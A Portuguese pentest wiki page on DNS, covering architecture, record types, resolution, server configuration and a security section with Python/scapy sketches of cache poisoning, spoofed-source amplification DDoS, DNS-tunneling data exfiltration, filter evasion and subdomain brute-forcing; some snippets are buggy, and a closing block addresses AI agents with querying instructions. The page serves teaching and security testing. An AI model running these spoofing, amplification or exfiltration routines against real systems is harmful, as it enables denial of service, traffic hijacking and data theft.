# DNS ## 📋 **Índice** 1. [Fundamentos do DNS](#-fundamentos-do-dns) 2. [Arquitetura e Hierarquia](#-arquitetura-e-hierarquia) 3. [Tipos de Registros](#-tipos-de-registros) 4. [Processo de Resolução](#-processo-de-resolução) 5. [Segurança e Vulnerabilidades](#-segurança-e-vulnerabilidades) 6. [Pentesting e DNS](#-pentesting-e-dns) 7. [Configurações Avançadas](#-configurações-avançadas) 8. [Ferramentas e Diagnóstico](#-ferramentas-e-diagnóstico) *** ## 🔍 **Fundamentos do DNS** ### **O que é DNS?** O **Domain Name System (DNS)** é um sistema hierárquico e distribuído de nomeação para dispositivos conectados à internet ou redes privadas. Funciona como a "agenda telefônica" da internet, traduzindo nomes de domínio legíveis por humanos em endereços IP utilizáveis por máquinas. ### **Contexto Histórico** ```yaml Evolução do DNS: Pré-1970s: Arquivo HOSTS.TXT (centralizado no SRI-NIC) 1983: RFC 882 e 883 - Primeira especificação DNS 1987: RFC 1034 e 1035 - Especificações atuais 1990: Introdução de DNSSEC 2018: DNS over TLS (DoT) e DNS over HTTPS (DoH) Motivação: ❌ Arquivo HOSTS.TXT não escalava (crescimento exponencial) ❌ Centralização causava single point of failure ❌ Atualizações manuais eram lentas e propensas a erros ✅ DNS resolveu com arquitetura distribuída e caching ``` ### **Benefícios do DNS** | Benefício | Descrição | Impacto | | ------------------ | ---------------------------------------------------- | --------------- | | **Escalabilidade** | Sistema distribuído suporta bilhões de consultas/dia | Crítico | | **Memorização** | Nomes amigáveis vs. números complexos | Usabilidade | | **Flexibilidade** | Múltiplos registros por domínio | Versatilidade | | **Resiliência** | Caching e servidores distribuídos | Disponibilidade | | **Segurança** | DNSSEC, DoT, DoH | Privacidade | *** ## 🏗️ **Arquitetura e Hierarquia** ### **Estrutura Hierárquica do DNS** ```mermaid graph TD subgraph "Root Zone" ROOT[Root Servers
.] end subgraph "Top-Level Domains (TLD)" COM[.com] ORG[.org] BR[.br] NET[.net] GOV[.gov] end subgraph "Second-Level Domains" GOOGLE[google.com] AMAZON[amazon.com] GOV_BR[gov.br] end subgraph "Subdomínios" MAIL[mail.google.com] DRIVE[drive.google.com] WWW[www.google.com] end ROOT --> COM ROOT --> ORG ROOT --> BR ROOT --> NET ROOT --> GOV COM --> GOOGLE COM --> AMAZON BR --> GOV_BR GOOGLE --> MAIL GOOGLE --> DRIVE GOOGLE --> WWW ``` ### **Componentes do Sistema DNS** #### **1. Root Nameservers (13 clusters)** ```yaml Servidores Raiz: A.ROOT-SERVERS.NET - Verisign (EUA) B.ROOT-SERVERS.NET - USC-ISI (EUA) C.ROOT-SERVERS.NET - Cogent (EUA) D.ROOT-SERVERS.NET - University of Maryland (EUA) E.ROOT-SERVERS.NET - NASA (EUA) F.ROOT-SERVERS.NET - Internet Systems Consortium (EUA) G.ROOT-SERVERS.NET - US DoD (EUA) H.ROOT-SERVERS.NET - US Army (EUA) I.ROOT-SERVERS.NET - Netnod (Suécia) J.ROOT-SERVERS.NET - Verisign (EUA) K.ROOT-SERVERS.NET - RIPE NCC (UK) L.ROOT-SERVERS.NET - ICANN (EUA) M.ROOT-SERVERS.NET - WIDE Project (Japão) Distribuição Física: - 13 endereços IP, mas > 1000 servidores fisicamente - Distribuídos globalmente via anycast - Respostas direcionam para TLD apropriado ``` #### **2. TLD Nameservers** ```yaml Tipos de TLD: gTLD (Generic): - .com, .org, .net, .info, .biz - .name, .pro, .museum, .aero - Novos: .app, .dev, .blog, .shop ccTLD (Country Code): - .br (Brasil), .us (EUA), .uk (Reino Unido) - .de (Alemanha), .jp (Japão) - .cn (China), .ru (Rússia) sTLD (Sponsored): - .gov (Governo EUA) - .edu (Educação EUA) - .mil (Militar EUA) - .int (Organizações internacionais) ``` #### **3. Authoritative Nameserver** ```python # Estrutura conceitual de um servidor autoritativo class AuthoritativeDNSServer: def __init__(self, domain, zone_file): self.domain = domain self.zone = self.load_zone(zone_file) self.records = {} # Armazenamento de registros def load_zone(self, zone_file): """Carregar arquivo de zona""" zone = { 'origin': self.domain, 'ttl': 3600, 'soa': { 'mname': 'ns1.' + self.domain, 'rname': 'admin.' + self.domain, 'serial': 2024010101, 'refresh': 3600, 'retry': 600, 'expire': 86400, 'minimum': 3600 } } return zone def query(self, qname, qtype='A'): """Processar consulta DNS""" # Buscar registro no cache/zona record = self.records.get((qname, qtype)) if record: return self.build_response(record) # Verificar se é uma resposta autoritativa if qname.endswith(self.domain): return self.build_nxdomain() # NXDOMAIN else: return self.build_referral() # Encaminhar para próximo servidor def build_response(self, record): """Construir resposta DNS""" return { 'qr': 1, # Query Response 'aa': 1, # Authoritative Answer 'rcode': 0, # No Error 'answers': [record] } ``` #### **4. Recursive Resolver** ```python # Recursive DNS Resolver com caching class RecursiveResolver: def __init__(self): self.cache = {} self.root_servers = self.get_root_servers() def resolve(self, domain, qtype='A'): """Resolver consulta recursivamente""" # Verificar cache cached = self.check_cache(domain, qtype) if cached: return cached # Iniciar resolução recursiva current_server = self.get_root_server() # Iterar pela hierarquia while True: response = self.query_server(current_server, domain, qtype) if response['rcode'] == 0: # No Error if response['answers']: # CACHE self.cache_response(domain, qtype, response) return response['answers'] # Encaminhar para próximo servidor if response['authority']: current_server = self.extract_nameserver(response) continue else: # Não há servidor autoritativo break elif response['rcode'] == 3: # NXDOMAIN return None else: # Erro, tentar próximo servidor current_server = self.get_next_server() return None def check_cache(self, domain, qtype): """Verificar cache de respostas DNS""" key = (domain, qtype) if key in self.cache: record = self.cache[key] if record['ttl'] > time.time(): return record['data'] return None ``` *** ## 📝 **Tipos de Registros DNS** ### **Registros Fundamentais** | Tipo | Código | Descrição | Exemplo | | --------- | ------ | ----------------------- | --------------------------------------------------------- | | **A** | 1 | IPv4 Address | `example.com → 93.184.216.34` | | **AAAA** | 28 | IPv6 Address | `example.com → 2606:2800:220:1:248:1893:25c8:1946` | | **CNAME** | 5 | Canonical Name (Alias) | `www.example.com → example.com` | | **MX** | 15 | Mail Exchange | `example.com → mail.example.com (priority 10)` | | **TXT** | 16 | Text Record | SPF, DKIM, DMARC, verificações | | **NS** | 2 | Name Server | `example.com → ns1.example.com` | | **SOA** | 6 | Start of Authority | Metadados da zona DNS | | **PTR** | 12 | Pointer (Reverse DNS) | `34.216.184.93.in-addr.arpa → example.com` | | **SRV** | 33 | Service Locator | `_sip._tcp.example.com → 10 5 5060 sipserver.example.com` | | **CAA** | 257 | Certification Authority | Autorização de CA para TLS | ### **Registros Especiais e Avançados** ```python # Exemplos de registros DNS em formato de zona zone_example = """ ; Zone file for example.com $ORIGIN example.com. $TTL 3600 ; SOA Record @ IN SOA ns1.example.com. admin.example.com. ( 2024010101 ; Serial 3600 ; Refresh 1800 ; Retry 1209600 ; Expire 3600 ; Minimum TTL ) ; NS Records @ IN NS ns1.example.com. @ IN NS ns2.example.com. ; A Records @ IN A 93.184.216.34 www IN A 93.184.216.34 mail IN A 93.184.216.35 ; AAAA Records @ IN AAAA 2606:2800:220:1:248:1893:25c8:1946 ; CNAME Records blog IN CNAME www.example.com. ftp IN CNAME www.example.com. ; MX Records @ IN MX 10 mail.example.com. @ IN MX 20 mail2.example.com. ; TXT Records (SPF, DKIM, DMARC) @ IN TXT "v=spf1 mx ip4:93.184.216.34 ~all" _dmarc IN TXT "v=DMARC1; p=quarantine; rua=mailto:dmarc@example.com" 2024._domainkey IN TXT "v=DKIM1; k=rsa; p=MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC..." ; SRV Records (Service Discovery) _sip._tcp IN SRV 10 5 5060 sipserver.example.com. _sip._udp IN SRV 10 5 5060 sipserver.example.com. ; CAA Records @ IN CAA 0 issue "letsencrypt.org" @ IN CAA 0 issuewild "letsencrypt.org" @ IN CAA 0 iodef "mailto:security@example.com" ; NAPTR Records (ENUM/SIP) ; 3.4.6.1.2.8.3.9.1.4.8.9.1.6.2.e164.arpa. ; IN NAPTR 100 10 "u" "sip+E2U" "!^.*$!sip:user@example.com!" . """ ``` ### **DNSSEC Registros** ```bash # DNSSEC adiciona registros de assinatura DNSKEY - Chave pública DNSSEC RRSIG - Assinatura de registro NSEC - Next Secure (negação de existência) NSEC3 - Hashed NSEC DS - Delegation Signer (para cadeia de confiança) # Exemplo de saída com DNSSEC dig +dnssec example.com A ; EDNS: version: 0, flags: do; udp: 4096 ; QUESTION SECTION: ;example.com. IN A ; ANSWER SECTION: example.com. 3600 IN A 93.184.216.34 example.com. 3600 IN RRSIG A 8 2 3600 20240301000000 20240201000000 12345 example.com. [signature] ; AUTHORITY SECTION: example.com. 3600 IN NS ns1.example.com. example.com. 3600 IN NS ns2.example.com. example.com. 3600 IN RRSIG NS 8 2 3600 20240301000000 20240201000000 12345 example.com. [signature] ``` *** ## ⚙️ **Processo de Resolução DNS** ### **Fluxo Completo de Resolução** ```mermaid sequenceDiagram participant C as Cliente (stub resolver) participant R as Recursive Resolver participant ROOT as Root Server participant TLD as TLD Server (.com) participant AUTH as Authoritative Server C->>R: 1. Query: example.com A Note over C,R: UDP 53 R->>R: Check Cache alt Cache Miss R->>ROOT: 2. Query: example.com A ROOT-->>R: 3. Referral: .com TLD servers R->>TLD: 4. Query: example.com A TLD-->>R: 5. Referral: example.com NS R->>AUTH: 6. Query: example.com A AUTH-->>R: 7. Response: 93.184.216.34 end R->>R: Cache Response (TTL: 3600) R-->>C: 8. Response: 93.184.216.34 ``` ### **Tipos de Consulta DNS** ```yaml Tipos de Resolução: Recursiva: - Cliente solicita resolução completa - Resolver busca todos os servidores - Mais comum para clientes finais - Consome mais recursos do resolver Iterativa: - Resolver retorna melhor resposta atual - Pode retornar referral para próximo servidor - Usado entre servidores DNS - Eficiente para hierarquia Não-Recursiva: - Busca apenas cache local - Ideal para performance - Utilizado por servidores autoritativos ``` ### **Cache DNS e TTL** ```python # Gerenciamento de cache DNS class DNSCache: def __init__(self, max_size=10000): self.cache = {} self.max_size = max_size def add(self, query, response, ttl): """Adicionar resposta ao cache com TTL""" key = (query['qname'], query['qtype']) expiry = time.time() + ttl # Limpeza de cache antigo self.cleanup() self.cache[key] = { 'response': response, 'expiry': expiry, 'ttl': ttl } def get(self, query): """Recuperar do cache se válido""" key = (query['qname'], query['qtype']) if key in self.cache: entry = self.cache[key] if entry['expiry'] > time.time(): return entry['response'] else: del self.cache[key] return None def cleanup(self): """Remover entradas expiradas""" now = time.time() expired = [k for k, v in self.cache.items() if v['expiry'] <= now] for k in expired: del self.cache[k] def get_stats(self): """Estatísticas de cache""" return { 'size': len(self.cache), 'max_size': self.max_size, 'hit_rate': self.calculate_hit_rate() } ``` ### **Mecanismos de Fallback** ```yaml Resiliência DNS: Múltiplos Nameservers: - Zona normalmente tem 2+ NS - Clientes tentam em ordem de preferência - RTT base para seleção Timeout e Retry: - UDP: 2-5 segundos timeout - TCP fallback para respostas grandes (>512 bytes) - 3-5 tentativas antes de falha Caching: - Reduz carga em servidores - Mantém disponibilidade durante falhas - TTL otimizado para balanceamento Anycast: - Múltiplos servidores mesmo IP - Roteamento baseado em proximidade - Alta disponibilidade geográfica ``` *** ## 🔒 **Segurança e Vulnerabilidades** ### **Ameaças ao DNS** ```mermaid graph TD A[Ameaças DNS] --> B[Cache Poisoning] A --> C[DNS Amplification] A --> D[DNS Tunneling] A --> E[Domain Hijacking] A --> F[DNS Spoofing] B --> B1[Kaminsky Attack] B --> B2[Birthday Attack] C --> C1[Reflection DDoS] C --> C2[Amplification DDoS] D --> D1[Data Exfiltration] D --> D2[C2 Communication] E --> E1[Registrar Compromise] E --> E2[Nameserver Hijack] F --> F1[Man-in-the-Middle] F --> F2[On-path Attack] ``` ### **Ataque 1: DNS Cache Poisoning** ```python #!/usr/bin/env python3 # dns_cache_poisoning_demo.py - Demonstração educacional from scapy.all import * import random import time class DNSCachePoisoning: def __init__(self, target_dns, target_domain, fake_ip): self.target_dns = target_dns self.target_domain = target_domain self.fake_ip = fake_ip self.transaction_id = None def spoof_response(self): """Enviar resposta DNS maliciosa""" # Forjar resposta DNS dns_response = IP(src=self.target_dns, dst=self.victim_ip) / \ UDP(sport=53, dport=self.victim_port) / \ DNS( id=self.transaction_id, qr=1, # Response aa=1, # Authoritative qd=DNSQR(qname=self.target_domain, qtype='A'), an=DNSRR(rrname=self.target_domain, type='A', ttl=3600, rdata=self.fake_ip) ) send(dns_response) print(f"💉 Envenenado: {self.target_domain} → {self.fake_ip}") def flood_queries(self): """Inundar com consultas para adivinhar TXID""" # Em ataque real, enviar milhares de consultas # Aguardar respostas legítimas para inferir TXID pass # Nota: Este código é apenas para fins educacionais ``` ### **Ataque 2: DNS Amplification DDoS** ```python # Simulação de amplificação DNS def dns_amplification_attack(target_ip, dns_servers): """ Ataque de amplificação DNS: - Consulta pequena (60 bytes) → Resposta grande (4000+ bytes) - Fator de amplificação: até 70x - Fonte: ANY query para domínios grandes """ # Payload para ANY query (retorna todos registros) any_query = DNS( qr=0, # Query qd=DNSQR(qname='isc.org', qtype='ANY') ) # Forjar IP de origem forged_packet = IP(src=target_ip, dst=dns_server) / \ UDP(sport=53, dport=53) / \ any_query for dns_server in dns_servers: send(forged_packet) # Resultado: Resposta grande enviada para target_ip ``` ### **Ataque 3: DNS Tunneling** ```python # DNS Tunneling para exfiltração de dados import base64 class DNSTunnel: def __init__(self, domain, nameserver): self.domain = domain self.nameserver = nameserver def encode_data(self, data): """Codificar dados em subdomínios""" # Dividir dados em chunks chunks = [data[i:i+50] for i in range(0, len(data), 50)] for chunk in chunks: # Base64 encode encoded = base64.b64encode(chunk.encode()).decode() # Criar subdomínio subdomain = f"{encoded}.{self.domain}" # Consulta DNS self.query(subdomain) def query(self, domain): """Realizar consulta DNS""" import dns.resolver try: answers = dns.resolver.resolve(domain, 'TXT') for answer in answers: # Processar resposta (dados de comando) self.process_response(str(answer)) except: pass def exfiltrate(self, data): """Exfiltrar dados via DNS""" # Dividir dados em chunks para evitar limite de 255 bytes chunks = [data[i:i+200] for i in range(0, len(data), 200)] for i, chunk in enumerate(chunks): subdomain = f"{i}.{base64.b64encode(chunk.encode()).decode()}.{self.domain}" self.query(subdomain) ``` ### **Medidas de Proteção** ```yaml Proteções DNS: DNSSEC (DNS Security Extensions): - Autenticação de origem dos dados - Assinaturas digitais nos registros - Cadeia de confiança desde a raiz - Protege contra cache poisoning DNS over TLS (DoT): - Criptografia de consultas DNS - Porta 853 TCP - Prevê espionagem e spoofing DNS over HTTPS (DoH): - DNS encapsulado em HTTPS - Porta 443 (indistinguível de tráfego web) - Privacidade e integridade Rate Limiting: - Limitar consultas por IP - Detectar e bloquear amplificação - Prevenir brute force de TXID Randomização: - Transaction IDs aleatórios - Portas de origem aleatórias (0x20 encoding) - Dificulta envenenamento de cache ``` ### **Configuração DNSSEC** ```bash # Verificar DNSSEC em domínio dig +dnssec example.com SOA # Configuração BIND com DNSSEC # /etc/bind/named.conf.options options { dnssec-validation auto; dnssec-enable yes; dnssec-lookaside auto; # Forwarders seguros forwarders { 8.8.8.8; 8.8.4.4; }; }; # Gerar chaves DNSSEC cd /etc/bind dnssec-keygen -a RSASHA256 -b 2048 -n ZONE example.com dnssec-keygen -a RSASHA256 -b 2048 -n ZONE -f KSK example.com # Assinar zona dnssec-signzone -A -3 $(head -c 1000 /dev/random | sha1sum | cut -b 1-16) \ -N INCREMENT -o example.com -t db.example.com ``` *** ## 🎯 **Pentesting e DNS** ### **Metodologia de Reconhecimento DNS** #### **Fase 1: Enumeração Básica** ```bash # Consultas fundamentais dig example.com ANY dig example.com A dig example.com AAAA dig example.com MX dig example.com NS dig example.com SOA dig example.com TXT # Consulta específica de servidor dig @8.8.8.8 example.com # Reverse DNS (PTR) dig -x 93.184.216.34 # Consulta com +trace (mostrar toda resolução) dig +trace example.com ``` #### **Fase 2: Enumeração Avançada** ```python #!/usr/bin/env python3 # dns_recon_tool.py - Ferramenta de reconhecimento DNS import dns.resolver import dns.zone import dns.query import dns.reversename import socket import threading from queue import Queue class DNSRecon: def __init__(self, domain): self.domain = domain self.results = { 'A': [], 'AAAA': [], 'MX': [], 'NS': [], 'TXT': [], 'CNAME': [], 'SOA': None, 'SPF': [], 'DMARC': [], 'subdomains': [], 'zone_transfer': False } def enumerate_basic_records(self): """Enumeração de registros básicos""" record_types = ['A', 'AAAA', 'MX', 'NS', 'TXT', 'SOA', 'CNAME'] for rtype in record_types: try: answers = dns.resolver.resolve(self.domain, rtype) for answer in answers: self.results[rtype].append(str(answer)) except: pass def check_zone_transfer(self, nameserver): """Testar transferência de zona (AXFR)""" try: zone = dns.zone.from_xfr(dns.query.xfr(nameserver, self.domain)) self.results['zone_transfer'] = True self.results['zone'] = zone return True except: return False def brute_subdomains(self, wordlist): """Força bruta de subdomínios""" subdomains = [] def check_subdomain(subdomain): try: target = f"{subdomain}.{self.domain}" answers = dns.resolver.resolve(target, 'A') subdomains.append(target) print(f"[+] Encontrado: {target}") except: pass # Thread pool para eficiência threads = [] with open(wordlist, 'r') as f: for line in f: sub = line.strip() if sub: thread = threading.Thread(target=check_subdomain, args=(sub,)) threads.append(thread) thread.start() # Limitar concorrência if len(threads) >= 50: for t in threads: t.join() threads = [] # Aguardar threads restantes for t in threads: t.join() self.results['subdomains'] = subdomains def reverse_lookup(self, network): """Reverse DNS lookup para bloco IP""" ip_blocks = [] network_parts = network.split('.') for i in range(1, 255): ip = f"{network_parts[0]}.{network_parts[1]}.{network_parts[2]}.{i}" try: name = socket.gethostbyaddr(ip)[0] self.results.setdefault('reverse', []).append({ip: name}) except: pass def get_spf_dmarc(self): """Extrair SPF e DMARC records""" # SPF try: answers = dns.resolver.resolve(self.domain, 'TXT') for answer in answers: if 'v=spf1' in str(answer): self.results['SPF'].append(str(answer)) except: pass # DMARC try: dmarc_domain = f"_dmarc.{self.domain}" answers = dns.resolver.resolve(dmarc_domain, 'TXT') for answer in answers: self.results['DMARC'].append(str(answer)) except: pass def get_all(self): """Executar todas as enumerações""" print(f"🔍 Iniciando reconhecimento DNS para: {self.domain}") self.enumerate_basic_records() self.get_spf_dmarc() # Testar zone transfer em cada NS for ns in self.results['NS']: if self.check_zone_transfer(ns): print(f"⚠️ Zone Transfer disponível em: {ns}") return self.results # Uso if __name__ == "__main__": recon = DNSRecon("example.com") results = recon.get_all() for k, v in results.items(): if v: print(f"{k}: {v}") ``` ### **Ferramentas Especializadas** ```bash # DNSRecon - Ferramenta completa dnsrecon -d example.com -t axfr,std,brt dnsrecon -d example.com -D subdomains.txt -t brt # Sublist3r - Enumeração de subdomínios sublist3r -d example.com -o subdomains.txt # Amass - OWASP (reconhecimento avançado) amass enum -d example.com amass intel -whois -d example.com # dnsenum - Ferramenta clássica dnsenum example.com dnsenum --enum example.com -o output.txt # fierce - Scanner DNS fierce -dns example.com fierce -dns example.com -wordlist subdomains.txt # Knockpy knockpy example.com # Nmap DNS scripts nmap --script dns-* -p 53 example.com nmap --script dns-brute --script-args dns-brute.domain=example.com ``` ### **Técnicas de Bypass e Evasão** ```python # Técnicas para contornar restrições DNS def dns_over_https_query(domain): """Consultar DNS via HTTPS (DoH)""" import requests # Google DoH url = f"https://dns.google/resolve?name={domain}&type=A" response = requests.get(url) return response.json() def dns_over_tls_query(domain): """Consultar DNS via TLS (DoT)""" import ssl import socket # Cloudflare DoT context = ssl.create_default_context() with socket.create_connection(('1.1.1.1', 853)) as sock: with context.wrap_socket(sock, server_hostname='1.1.1.1') as ssock: # Enviar consulta DNS query = build_dns_query(domain, 'A') ssock.send(query) response = ssock.recv(1024) return parse_dns_response(response) def dns_fragmentation_bypass(): """Bypass de filtros DNS via fragmentação""" from scapy.all import * # Fragmentar consulta DNS dns_query = IP(dst='8.8.8.8') / UDP(dport=53) / DNS(qd=DNSQR(qname='example.com')) # Fragmentar em múltiplos pacotes fragments = fragment(dns_query, fragsize=200) for frag in fragments: send(frag, verbose=False) ``` *** ## 🛠️ **Configurações Avançadas** ### **BIND9 (Linux)** ```bash # /etc/bind/named.conf options { directory "/var/cache/bind"; recursion yes; allow-query { any; }; allow-recursion { 192.168.1.0/24; }; # Segurança dnssec-validation auto; auth-nxdomain no; minimal-responses yes; # Rate limiting rate-limit { responses-per-second 10; log-only yes; }; # Logging querylog yes; }; # Zona example.com zone "example.com" { type master; file "/etc/bind/db.example.com"; allow-transfer { 192.168.1.2; }; # Slave allow-update { none; }; }; # Zona reversa zone "1.168.192.in-addr.arpa" { type master; file "/etc/bind/db.192.168.1"; }; ``` ### **PowerDNS (Alternativa)** ```yaml # /etc/powerdns/pdns.conf # Configuração PowerDNS launch=gmysql gmysql-host=localhost gmysql-dbname=pdns gmysql-user=pdns gmysql-password=secret # API api=yes api-key=your-secure-api-key webserver=yes webserver-address=127.0.0.1 webserver-port=8081 # Segurança security-poll-suffixes=example.com max-tcp-connections=100 max-udp-truncation-size=1400 # DNSSEC dnssec=yes dnssec-keydir=/etc/powerdns/keys ``` ### **Unbound (Resolver Recursivo)** ```yaml # /etc/unbound/unbound.conf server: interface: 0.0.0.0 port: 53 do-ip4: yes do-ip6: yes do-udp: yes do-tcp: yes # Caching cache-min-ttl: 3600 cache-max-ttl: 86400 msg-cache-size: 100m rrset-cache-size: 200m # Segurança hide-identity: yes hide-version: yes qname-minimisation: yes qname-minimisation-strict: yes # DNSSEC auto-trust-anchor-file: "/var/lib/unbound/root.key" val-log-level: 2 # DNS over TLS (DoT) tls-cert-bundle: /etc/ssl/certs/ca-certificates.crt forward-zone: name: "." forward-tls-upstream: yes forward-addr: 1.1.1.1@853 # Cloudflare DoT forward-addr: 8.8.8.8@853 # Google DoT ``` ### **DNS em Ambientes Corporativos** ```yaml Arquitetura DNS Corporativa: Camada 1 - Cache/Recursive (DMZ): - Unbound servers - Filtragem de conteúdo - Rate limiting Camada 2 - Authoritative (Internal): - BIND9 servers - Active Directory integrated (Windows) - Split-horizon DNS Camada 3 - Authoritative (External): - Cloud DNS (Route53, Cloudflare) - DNSSEC enabled - DDoS protection Segurança: - DNS Firewall (Response Policy Zones) - DNS Sinkhole para malware - Logging centralizado ``` *** ## 🔍 **Ferramentas e Diagnóstico** ### **Comandos Essenciais** ```bash # dig - Domain Information Groper dig example.com dig +short example.com dig +trace example.com dig @8.8.8.8 example.com MX # nslookup - Classic tool nslookup example.com nslookup -type=MX example.com nslookup -type=NS example.com 8.8.8.8 # host - Simple utility host example.com host -t MX example.com host -a example.com # whois - Domain registration info whois example.com # dnsmap - Subdomain brute force dnsmap example.com -w wordlist.txt # dnsrecon - Comprehensive tool dnsrecon -d example.com -t axfr,std,brt ``` ### **Diagnóstico de Problemas DNS** ```python #!/usr/bin/env python3 # dns_diagnostics.py import dns.resolver import dns.exception import socket import time def diagnose_dns(domain, nameserver=None): """Diagnosticar problemas de DNS""" print(f"🔍 Diagnosticando DNS para: {domain}") print("-" * 50) # Teste 1: Resolução básica print("\n1. Testando resolução A:") try: if nameserver: resolver = dns.resolver.Resolver() resolver.nameservers = [nameserver] answers = resolver.resolve(domain, 'A') else: answers = dns.resolver.resolve(domain, 'A') for answer in answers: print(f" ✅ {domain} → {answer}") except dns.resolver.NXDOMAIN: print(f" ❌ Domínio não existe: {domain}") except dns.resolver.NoAnswer: print(f" ⚠️ Sem registros A") except Exception as e: print(f" ❌ Erro: {e}") # Teste 2: Verificar servidores NS print("\n2. Verificando servidores NS:") try: answers = dns.resolver.resolve(domain, 'NS') ns_servers = [str(a) for a in answers] print(f" 📡 NS: {', '.join(ns_servers)}") # Verificar disponibilidade for ns in ns_servers: try: socket.gethostbyname(ns) print(f" ✅ {ns} - Resolve") except: print(f" ❌ {ns} - Não resolve") except Exception as e: print(f" ❌ Erro: {e}") # Teste 3: Transferência de zona print("\n3. Testando transferência de zona:") for ns in ns_servers: try: zone = dns.zone.from_xfr(dns.query.xfr(ns, domain)) print(f" ⚠️ Zona transferida de {ns} - VULNERÁVEL!") return except: print(f" ✅ {ns} - Seguro") # Teste 4: DNSSEC print("\n4. Verificando DNSSEC:") try: answers = dns.resolver.resolve(domain, 'DNSKEY') print(f" ✅ DNSSEC habilitado - {len(answers)} chaves") except: print(f" ❌ DNSSEC não detectado") # Teste 5: Registros importantes print("\n5. Registros importantes:") important = ['MX', 'TXT', 'SOA'] for rtype in important: try: answers = dns.resolver.resolve(domain, rtype) print(f" {rtype}: {answers[0]}") except: print(f" {rtype}: Não encontrado") # Teste 6: Performance print("\n6. Teste de performance:") times = [] for _ in range(10): start = time.time() try: dns.resolver.resolve(domain, 'A') elapsed = (time.time() - start) * 1000 times.append(elapsed) except: pass if times: avg_time = sum(times) / len(times) print(f" ⏱️ Tempo médio de resolução: {avg_time:.2f}ms") return True # Uso diagnose_dns("example.com") ``` ### **Wireshark Filters para DNS** ```bash # Filtros de exibição Wireshark dns # Todos pacotes DNS dns.qry.name contains "example" # Consultas específicas dns.flags.response == 0 # Apenas consultas dns.flags.response == 1 # Apenas respostas dns.resp.type == 1 # Respostas tipo A dns.resp.ttl < 3600 # TTL baixo dns.qry.type == 15 # Consultas MX dns.opt.version == 0 # EDNS0 dns.flags.rcode == 3 # NXDOMAIN # Filtros de captura udp port 53 # DNS UDP tcp port 53 # DNS TCP host 8.8.8.8 and udp port 53 # Tráfego específico ``` *** ## 📊 **Conclusão e Boas Práticas** ### **Resumo Técnico** ```yaml DNS é um protocolo fundamental que: ✅ Traduz nomes amigáveis em endereços IP ✅ Distribui carga via múltiplos servidores ✅ Provê resiliência através de caching ✅ Suporta descoberta de serviços (SRV) Desafios de segurança: ❌ Vulnerável a cache poisoning ❌ Pode ser usado para exfiltração de dados ❌ Amplificação de DDoS ❌ Falta de criptografia por padrão ``` ### **Boas Práticas de Segurança** 1. **Implementação** * Utilizar DNSSEC para integridade * Adotar DoT/DoH para privacidade * Minimizar TTLs para registros críticos * Separar DNS interno/externo (split-horizon) 2. **Monitoramento** * Logging centralizado de consultas * Detectar padrões de tunneling * Monitorar taxa de erros NXDOMAIN * Alertar sobre zone transfers suspeitas 3. **Para Pentesters** * Sempre incluir enumeração DNS no reconhecimento * Testar zone transfers em todos servidores * Verificar registros TXT para informações vazadas * Avaliar implementação DNSSEC * Testar subdomínios via brute force ### **Futuro do DNS** ```yaml Tendências e Evolução: Privacidade: - DNS over HTTPS (DoH) em browsers - DNS over TLS (DoT) em sistemas - Oblivious DNS (ODoH) - Encrypted Client Hello (ECH) Descentralização: - Blockchain DNS (Handshake, ENS) - Alternative roots - Namecoin Segurança: - DNSSEC generalizado - DANE (DNS-based Authentication) - MTA-STS (SMTP TLS Reporting) Performance: - HTTP/3 e QUIC - CDN integration - Edge computing ``` --- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://0xmorte.gitbook.io/bibliadopentestbr/conceitos/redes/protocolos-de-rede/dns.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.